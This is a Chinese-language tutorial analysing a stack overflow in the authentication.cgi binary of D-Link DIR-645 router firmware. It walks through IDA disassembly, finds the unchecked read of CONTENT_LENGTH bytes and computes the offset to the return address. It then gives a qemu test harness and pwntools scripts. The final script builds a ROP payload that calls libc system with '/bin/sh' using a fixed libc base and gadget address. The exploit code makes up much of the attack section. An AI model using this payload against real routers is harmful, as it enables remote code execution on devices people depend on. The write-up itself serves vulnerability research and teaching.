D-Link DIR-645路由器溢出漏洞分析(2)
漏洞介绍
这是分析的DIR-645的第三个漏洞了,简介看前面文章的。这次的漏洞主要是/htdocs/web/authentication.cgi的文件存在栈溢出的漏洞。
漏洞分析
固件下载:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP
用binwalk提取出根目录后,用file看一下这个cgi是哪个二进制文件引用的。
和前面一篇文章一样都是cgibin二进制文件,用IDA加载文件。主函数前面文章分析过了,就是寻找引用的cgi脚本文件,然后进入到对应的函数。
.text:00402770 # int __cdecl main(int argc, const char **argv, const char **envp)
.text:00402770 .globl main
.text:00402770 main: # DATA XREF: LOAD:004009F8↑o
.text:00402770 # _ftext+18↑o ...
.text:00402770
.text:00402770 var_20 = -0x20
.text:00402770 var_14 = -0x14
.text:00402770 var_10 = -0x10
.text:00402770 var_C = -0xC
.text:00402770 var_8 = -8
.text:00402770 var_4 = -4
.text:00402770
.text:00402770 lui $gp, 0x44 # 'D'
.text:00402774 addiu $sp, -0x30
.text:00402778 li $gp, 0x43B6D0
.text:0040277C sw $ra, 0x30+var_4($sp)
.text:00402780 sw $s3, 0x30+var_8($sp)
.text:00402784 sw $s2, 0x30+var_C($sp)
.text:00402788 sw $s1, 0x30+var_10($sp)
.text:0040278C sw $s0, 0x30+var_14($sp)
.text:00402790 sw $gp, 0x30+var_20($sp)
.text:00402794 lw $s0, 0($a1)
.text:00402798 la $t9, strrchr
.text:0040279C move $s2, $a1
.text:004027A0 move $s1, $a0
.text:004027A4 li $a1, 0x2F # '/' # c
.text:004027A8 move $a0, $s0 # s
.text:004027AC jalr $t9 ; strrchr
.text:004027B0 move $s3, $a2
.text:004027B4 lw $gp, 0x30+var_20($sp)
.text:004027B8 beqz $v0, loc_4027C4
.text:004027BC nop
.text:004027C0 addiu $s0, $v0, 1
.text:004027C4
.text:004027C4 loc_4027C4: # CODE XREF: main+48↑j
.text:004027C4 la $t9, strcmp
.text:004027C8 la $a1, aScandirSgi # "scandir.sgi"
.text:004027D0 jalr $t9 ; strcmp
.text:004027D4 move $a0, $s0 # s1
.text:004027D8 lw $gp, 0x30+var_20($sp)
.text:004027DC bnez $v0, loc_4027F0
.text:004027E0 lui $a1, 0x42 # 'B'
.text:004027E4 la $t9, scandir_main
.text:004027E8 b loc_402B1C
.text:004027EC move $a0, $s1
直接看对应函数。这一段是获取REQUEST_METHOD环境变量的值,然后初始化了三个空间。
.text:0040B01C lui $gp, 0x44 # 'D'
.text:0040B020 addiu $sp, -0xF90
.text:0040B024 li $gp, 0x43B6D0
.text:0040B028 sw $ra, 0xF90+var_4($sp)
.text:0040B02C sw $fp, 0xF90+var_8($sp)
.text:0040B030 sw $s7, 0xF90+var_C($sp)
.text:0040B034 sw $s6, 0xF90+var_10($sp)
.text:0040B038 sw $s5, 0xF90+var_14($sp)
.text:0040B03C sw $s4, 0xF90+var_18($sp)
.text:0040B040 sw $s3, 0xF90+var_1C($sp)
.text:0040B044 sw $s2, 0xF90+var_20($sp)
.text:0040B048 sw $s1, 0xF90+var_24($sp)
.text:0040B04C sw $s0, 0xF90+var_28($sp)
.text:0040B050 sw $gp, 0xF90+var_F78($sp)
.text:0040B054 la $t9, getenv
.text:0040B058 la $a0, aRequestMethod # "REQUEST_METHOD"
.text:0040B060 jalr $t9 ; getenv
.text:0040B064 move $s0, $a1
.text:0040B068 lw $gp, 0xF90+var_F78($sp)
.text:0040B06C addiu $a0, $sp, 0xF90+var_D14 # s
.text:0040B070 la $t9, memset
.text:0040B074 move $a1, $zero # c
.text:0040B078 li $a2, 0xE8 # n
.text:0040B07C jalr $t9 ; memset
.text:0040B080 move $s1, $v0
.text:0040B084 lw $gp, 0xF90+var_F78($sp)
.text:0040B088 addiu $s3, $sp, 0xF90+var_938
.text:0040B08C la $t9, memset
.text:0040B090 move $a0, $s3 # s
.text:0040B094 move $a1, $zero # c
.text:0040B098 jalr $t9 ; memset
.text:0040B09C li $a2, 0x184 # n
.text:0040B0A0 lw $gp, 0xF90+var_F78($sp)
.text:0040B0A4 addiu $s2, $sp, 0xF90+var_E1C
.text:0040B0A8 la $t9, memset
.text:0040B0AC move $a0, $s2 # s
.text:0040B0B0 move $a1, $zero # c
.text:0040B0B4 jalr $t9 ; memset
.text:0040B0B8 li $a2, 0x84 # n
.text:0040B0BC lw $a0, 0($s0)
.text:0040B0C0 jal sub_40A370
.text:0040B0C4 nop
.text:0040B0C8 lw $gp, 0xF90+var_F78($sp)
.text:0040B0CC beqz $s1, loc_40BC9C
.text:0040B0D0 move $s5, $v0
.text:0040B0D4 li $v0, 1
.text:0040B0D8 beq $s5, $v0, loc_40B0E8
.text:0040B0DC li $v0, 3
.text:0040B0E0 bne $s5, $v0, loc_40B264
.text:0040B0E4 lui $a1, 0x42 # 'B'
这里比较看环境变量是否为GET,如果不是再判断是不是POST
.text:0040B264 loc_40B264: # CODE XREF: authenticationcgi_main+C4↑j
.text:0040B264 la $t9, strcmp
.text:0040B268 addiu $a1, (aGet - 0x420000) # "GET"
.text:0040B26C jalr $t9 ; strcmp
.text:0040B270 move $a0, $s1 # s1
.text:0040B274 lw $gp, 0xF90+var_F78($sp)
.text:0040B278 bnez $v0, loc_40B454
.text:0040B27C lui $a1, 0x42 # 'B'
.text:0040B454 loc_40B454: # CODE XREF: authenticationcgi_main+25C↑j
.text:0040B454 la $t9, strcmp
.text:0040B458 move $a0, $s1 # s1
.text:0040B45C jalr $t9 ; strcmp
.text:0040B460 addiu $a1, (aPost - 0x420000) # "POST"
.text:0040B464 lw $gp, 0xF90+var_F78($sp)
.text:0040B468 bnez $v0, loc_40BC9C
.text:0040B46C move $a1, $zero # c
如果环境变量为PORT就来到这里,这里先获取了CONTENT_TYPE环境变量和CONTENT_LENGTH环境变量。接着把CONTENT_LENGTH转为int类型。fileno函数用来取得参数stream指定的文件流所使用的文件描述符。返回值是某个数据流的文件描述符。相当于用fileno打开一个stdin标准输入流的一个文件,读取的长度就是CONTENT_LENGTH。这里要注意的是,根本没有判断长度是多少,就全部的读取,会直接造成栈溢出。
.text:0040B454 loc_40B454: # CODE XREF: authenticationcgi_main+25C↑j
.text:0040B454 la $t9, strcmp
.text:0040B458 move $a0, $s1 # s1
.text:0040B45C jalr $t9 ; strcmp
.text:0040B460 addiu $a1, (aPost - 0x420000) # "POST"
.text:0040B464 lw $gp, 0xF90+var_F78($sp)
.text:0040B468 bnez $v0, loc_40BC9C
.text:0040B46C move $a1, $zero # c
.text:0040B470 la $t9, memset
.text:0040B474 li $a2, 0x184 # n
.text:0040B478 jalr $t9 ; memset
.text:0040B47C move $a0, $s3 # s
.text:0040B480 lw $gp, 0xF90+var_F78($sp)
.text:0040B484 lui $a0, 0x42 # 'B'
.text:0040B488 la $t9, getenv
.text:0040B48C nop
.text:0040B490 jalr $t9 ; getenv
.text:0040B494 la $a0, aContentType # "CONTENT_TYPE"
.text:0040B498 lw $gp, 0xF90+var_F78($sp)
.text:0040B49C lui $a0, 0x42 # 'B'
.text:0040B4A0 la $t9, getenv
.text:0040B4A4 la $a0, aContentLength # "CONTENT_LENGTH"
.text:0040B4A8 jalr $t9 ; getenv
.text:0040B4AC move $s0, $v0
.text:0040B4B0 lw $gp, 0xF90+var_F78($sp)
.text:0040B4B4 beqz $s0, loc_40B610
.text:0040B4B8 addiu $a0, $sp, 0xF90+var_938
.text:0040B4BC beqz $v0, loc_40B614
.text:0040B4C0 addiu $a1, $sp, 0xF90+var_E1C
.text:0040B4C4 la $t9, atoi
.text:0040B4C8 nop
.text:0040B4CC jalr $t9 ; atoi
.text:0040B4D0 move $a0, $v0 # nptr
.text:0040B4D4 lw $gp, 0xF90+var_F78($sp)
.text:0040B4D8 move $s0, $v0
.text:0040B4DC la $v1, stdin
.text:0040B4E0 la $t9, fileno
.text:0040B4E4 lw $a0, (stdin - 0x435040)($v1) # stream
.text:0040B4E8 jalr $t9 ; fileno
.text:0040B4EC addiu $s1, $sp, 0xF90+var_430
.text:0040B4F0 lw $gp, 0xF90+var_F78($sp)
.text:0040B4F4 move $a0, $v0 # fd
.text:0040B4F8 la $t9, read
.text:0040B4FC move $a1, $s1 # buf
.text:0040B500 jalr $t9 ; read
.text:0040B504 move $a2, $s0 # nbytes
找到了溢出点,来计算一下覆盖到主函数的返回地址需要多少位。
sw $ra, 0xF90+var_4($sp)
addiu $s1, $sp, 0xF90+var_430
0x430-0x4=1068
用脚本测试一下
脚本:
#!/bin/bash
INPUT="$1"
TEST="$2"
LEN=$(echo -n $INPUT | wc -c)
PORT="1234"
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "nusage: sudo $0n"
exit 1
fi
cp $(which qemu-mipsel) ./qemu
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencodede" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/authentication.cgi 2>/dev/null
echo "run ok"
rm -f ./qemu
运行脚本
可以看到已经把返回地址覆盖成了BBBB,但我们再运行的时候报错了
程序来到了这里,可以看到是一句读取a2内存,但当前a2为3,读取失败造成了错误,重新附加调试,看看到底在哪出现了问题。
直接把断点下在read这里,f9运行之后,单步调试
来到这里看到有个strstr的判断函数,第一个参数是覆盖的第一个‘A‘的位置,第二个参数可以看到是“id=”,strstr函数返回的是找到子函数的位置,如果没有则返回NULL。这里明显是找不到的,可以看到返回值为0。
继续往下走可以看到一个strlen的函数,参数是“id=”,然后把前面strstr的返回值给了s0,接着a1=s0+v0,a2=a1,然后再造成了后面的崩溃。理解一下就是读取的字符前几个必须是“id=”,这样strstr返回的就是“i”所在的地址,然后加上长度就不会出现崩溃了错误。
修改一下读取的值,再次尝试。发现还是一样崩溃了,同样的位置,重现再附加一次。
往下走第一遍可以看到顺利的过了之前崩溃的地方,前面第二次崩溃还是在这里,那我们在前面的位置下一个断点,运行,发现又重新回到了前面。
那么崩溃的原因应该就和之前是一样的了,还是缺少字符串,这次可以看到是“password=”。
修改输入再试一次。注意覆盖的填充’A‘也要修改。可以看到成功把返回地址覆盖成’BBBB‘
漏洞利用
因为上一篇文章和这篇是同样的二进制文件,所以我原本打算用上一篇文章的system也就是这个来进行调用,如果用这个的话,只需要把“/bin/sh”放在s0也就是sp+28的位置,主函数的返回地址用这个函数的地址覆盖就行了。
.text:00413394 .globl lxmldbc_system
.text:00413394 lxmldbc_system: # CODE XREF: pigwidgeoncgi_main+484↑p
.text:00413394 # servicecgi_main:loc_40D038↑p ...
.text:00413394
.text:00413394 var_418 = -0x418
.text:00413394 var_410 = -0x410
.text:00413394 var_40C = -0x40C
.text:00413394 var_8 = -8
.text:00413394 var_4 = -4
.text:00413394 arg_4 = 4
.text:00413394 arg_8 = 8
.text:00413394 arg_C = 0xC
.text:00413394
.text:00413394 lui $gp, 0x44 # 'D'
.text:00413398 addiu $sp, -0x428
.text:0041339C li $gp, 0x43B6D0
.text:004133A0 sw $ra, 0x428+var_4($sp)
.text:004133A4 sw $s0, 0x428+var_8($sp)
.text:004133A8 sw $gp, 0x428+var_418($sp)
.text:004133AC addiu $v0, $sp, 0x428+arg_4
.text:004133B0 addiu $s0, $sp, 0x428+var_40C
.text:004133B4 la $t9, vsnprintf
.text:004133B8 sw $a1, 0x428+arg_4($sp)
.text:004133BC sw $a2, 0x428+arg_8($sp)
.text:004133C0 sw $a3, 0x428+arg_C($sp)
.text:004133C4 move $a2, $a0 # format
.text:004133C8 move $a3, $v0 # arg
.text:004133CC move $a0, $s0 # s
.text:004133D0 sw $v0, 0x428+var_410($sp)
.text:004133D4 jalr $t9 ; vsnprintf
.text:004133D8 li $a1, 0x400 # maxlen
.text:004133DC lw $gp, 0x428+var_418($sp)
.text:004133E0 nop
.text:004133E4 la $t9, system
.text:004133E8 nop
.text:004133EC jalr $t9 ; system
.text:004133F0 move $a0, $s0 # command
.text:004133F4 lw $ra, 0x428+var_4($sp)
.text:004133F8 lw $gp, 0x428+var_418($sp)
.text:004133FC lw $s0, 0x428+var_8($sp)
.text:00413400 jr $ra
.text:00413404 addiu $sp, 0x428
.text:00413404 # End of function lxmldbc_system
这是脚本:
from pwn import *
f=open("payload","wb")
payload="id=password="+'A'*1056
payload+=p32(0x004133B0)
payload+='A'*28
payload+='/bin/shx00'
f.write(payload)
f.close()
但出现了个问题就是“0x004133B0”的00不能读取进去,导致无法定位到目标函数。可以看到并没有覆盖成功,00的位置被41代替了。
而作者的rop是用了链接函数libc.so.0里面的systen进行调用,这样就不会有00的错误。
脚本:
from pwn import *
system_addr=0x76738000+0x53200
gadget=0x76738000+0x000159CC
f=open("payload","wb")
data='id=1234password='
data+='A'*(1056-0x24)+p32(system_addr)+'A'*0x1D+p32(gadget)+'A'*0x10+'/bin/shx00'
f.write(data)
f.close()
参考链接
《揭秘家用路由器0day漏洞挖掘技术》